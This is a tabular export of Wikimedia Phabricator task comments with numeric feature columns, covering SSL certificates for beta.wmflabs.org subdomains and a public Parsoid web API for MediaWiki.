227089,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.,,,1377084434,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,2.0,0.0,9.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,16.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,16.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,9.0,3.477272727272727,0.8409090909090909,It seems to me that being able to test the new [[m:HTTPS]] stuff on beta is a rather high priority; otherwise beta should be fixed for its other uses by reverting the HTTPS redirect on it.
227083,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded.",,,1377078117,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,2.0,0.0,0.0,5.0,0.0,10.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,10.0,5.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,14.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.285714285714286,0.8333333333333334,"Apparently the beta labs now forcefully redirect to https, which means all beta sides are unusable for me (Chrome) because there is no obvious way to accept the certificate for bits, so no resources are being loaded."
227075,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 46621 has been marked as a duplicate of this bug. ***,,,1377077926,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 46621 has been marked as a duplicate of this bug. ***
227069,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 49533 has been marked as a duplicate of this bug. ***,,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49533 has been marked as a duplicate of this bug. ***
227063,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 53113 has been marked as a duplicate of this bug. ***,,,1377028391,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,7,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53113 has been marked as a duplicate of this bug. ***
227058,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one.",,,1376416702,,PHID-USER-2rnfxoezl66afpa7w7in,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,5.0,9.0,5.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,11.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,4.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,2.0,5.0,0.0,5.0,0.0,0.0,0.0,4.345454545454546,0.8,"Alex: turning ssl certificate verification off when doing automated testing is reasonably common because lots of folks don't run with valid certs and don't have a good infrastructure for distributing their self signed certs.  That isn't to say it is a good practice, just a common one."
227052,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) ).",,,1376408675,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,2.0,0.0,11.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,17.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,17.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9782608695652173,0.782608695652174,"Upping priority (a tiny bit) as we really need the beta cluster (hosted on labs) to be as similar to production as possible for automated testing. This is needed for that (specifically for SUL2, kinnnnnda important ;) )."
227046,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature.",,,1375118567,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,4,,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.4,0.84,"All browsers should force you to navigate that warning, unless you've somehow changed their configuration to somehow completely break that security feature."
227038,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121",,,1375112625,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.357142857142857,0.8928571428571429,"in the configurations we're using, other browsers don't require an automated test to negotiate a warning screen, see the screen shot on Bug 52121"
227029,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,The other browsers don't like it either. Why is IE so special to you?,,,1375112429,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,24.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,18.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2941176470588234,1.0,The other browsers don't like it either. Why is IE so special to you?
227021,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121,,,1375110403,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,22.0,11.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.166666666666667,0.9444444444444444,We need beta labs to work for IE in default configurations for test purposes. See Bug 52121
227015,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,*** Bug 52121 has been marked as a duplicate of this bug. ***,,,1374916134,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52121 has been marked as a duplicate of this bug. ***
227010,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Did not block the creation of a login wiki bug 51622

But it does prevents us from using SUL2 on beta which is bug 51580",,,1374694229,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,4.0,4.0,4.0,0.0,0.0,0.0,3.730769230769231,0.9615384615384616,"Did not block the creation of a login wiki bug 51622

But it does prevents us from using SUL2 on beta which is bug 51580"
227004,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)",,,1369121097,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.125,0.8125,"Moving out from RT to ""Labs"" > ""Infrastructure"", per Ryan :)"
226998,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,RT #5184,,,1369038519,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,RT #5184
226992,beta: Get SSL certificates for *.{projects}.beta.wmflabs.org,Mailled labs-l to find out who can generate the cert. http://lists.wikimedia.org/pipermail/labs-l/2013-May/001212.html,,,1368605321,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-p25kct7eiowcmvkmyncx,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.357142857142857,1.0,Mailled labs-l to find out who can generate the cert. URL
50483,Expose a parsoid public web API end point in the MediaWiki API,"We need a public API end point integrating with the general MediaWiki API that provides at least the following functionality:

* HTML DOM retrieval per page and revision. Basically the /en/Foo?oldid=<n> end point.
* HTML DOM expansion: POST a DOM (or fragment), return re-expanded DOM
* HTML DOM saving: POST a modified DOM and a summary, and save it as a new revision.

As long as we are using Wikitext as our storage format, saving requires a conversion to HTML and a separate save step. The individual steps should *internally* be exposed to other users including the VisualEditor extension. There is probably no need to expose the HTML2WT conversion. We should instead aim to provide an HTML-only public interface.

The integration should use an URL schema that makes it easy to map some or all of the functionality to a stand-alone (non-PHP) backend to avoid PHP startup costs in the future.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368578460,1426214472.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,PHID-TASK-lpywcmlyfhgff4artepd,task_description,resolved,True,c1,1,True,True,False,-7,,1.0,0.0,0.0,0.3333333333333333,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.3333333333333333,2.3333333333333335,6.333333333333333,0.0,1.6666666666666667,1.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,2.6666666666666665,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,4.666666666666667,0.0,0.0,0.0,0.6666666666666666,0.0,11.666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,7.333333333333333,1.0,11.666666666666666,0.0,2.0,8.666666666666666,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.0,0.0,2.0,6.333333333333333,3.6666666666666665,0.0,0.0,0.0,2.0,0.0,0.6666666666666666,3.6666666666666665,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.014847968172776,0.7171781756180734,"We need a public API end point integrating with the general MediaWiki API that provides at least the following functionality:

* HTML DOM retrieval per page and revision. Basically the /en/Foo?oldid=<n> end point.
* HTML DOM expansion: POST a DOM (or fragment), return re-expanded DOM
* HTML DOM saving: POST a modified DOM and a summary, and save it as a new revision.

As long as we are using Wikitext as our storage format, saving requires a conversion to HTML and a separate save step. The individual steps should *internally* be exposed to other users including the VisualEditor extension. There is probably no need to expose the HTML2WT conversion. We should instead aim to provide an HTML-only public interface.

The integration should use an URL schema that makes it easy to map some or all of the functionality to a stand-alone (non-PHP) backend to avoid PHP startup costs in the future.

--------------------------
**Version**: unspecified
**Severity**: normal"
425993,Expose a parsoid public web API end point in the MediaWiki API,"@anomie Seems like it was mis-tagged, sorry about that. Will remove the project.",,,1426257850,,PHID-USER-hxwwywcyzpooynxuo7a2,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.9444444444444444,"SCREEN_NAME Seems like it was mis-tagged, sorry about that. Will remove the project."
425990,Expose a parsoid public web API end point in the MediaWiki API,So this was in #MediaWiki-API but didn't actually have anything to do with that project?,,,1426257574,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,False,,,88,,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,15.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,5.0,10.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,15.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,So this was in #MediaWiki-API but didn't actually have anything to do with that project?
425788,Expose a parsoid public web API end point in the MediaWiki API,Now resolved with https://rest.wikimedia.org/ entering beta production.,,,1426214472,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,88,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,5.125,1.0,Now resolved with URL entering beta production.
226030,Expose a parsoid public web API end point in the MediaWiki API,"Lowering the priority as this is now live:

http://parsoid-lb.eqiad.wikimedia.org/
https://parsoid-prod.wmflabs.org/  (also supports spdy)",,,1386109005,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,22,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3157894736842106,0.9473684210526315,"Lowering the priority as this is now live:

URL
URL  (also supports spdy)"
226024,Expose a parsoid public web API end point in the MediaWiki API,Once https://gerrit.wikimedia.org/r/#/c/93527/ is merged we'll provide interim access to our internal Parsoid cluster through front-end caches at http://parsoidcache.svc.eqiad.wikimedia.org/. This implements our internal https://www.mediawiki.org/wiki/Parsoid#The_Parsoid_web_API. In the longer term it will be replaced with a more general MediaWiki content API that we are still working on.,,,1384293539,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,19,,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,8.0,0.0,6.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,19.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,10.0,15.0,6.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,4.416666666666667,0.8958333333333334,Once URL is merged we'll provide interim access to our internal Parsoid cluster through front-end caches at URL This implements our internal URL In the longer term it will be replaced with a more general MediaWiki content API that we are still working on.
226018,Expose a parsoid public web API end point in the MediaWiki API,"The PHP parser output is exposed through action=parse:

http://en.wikipedia.org/w/api.php?action=parse&redirects&prop=text%7Cdisplaytitle&format=xml&page=FOOBAR",,,1378248026,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-lpywcmlyfhgff4artepd,task_subcomment,,True,c1,3,True,,,9,,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,23.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"The PHP parser output is exposed through action=parse:

URL"
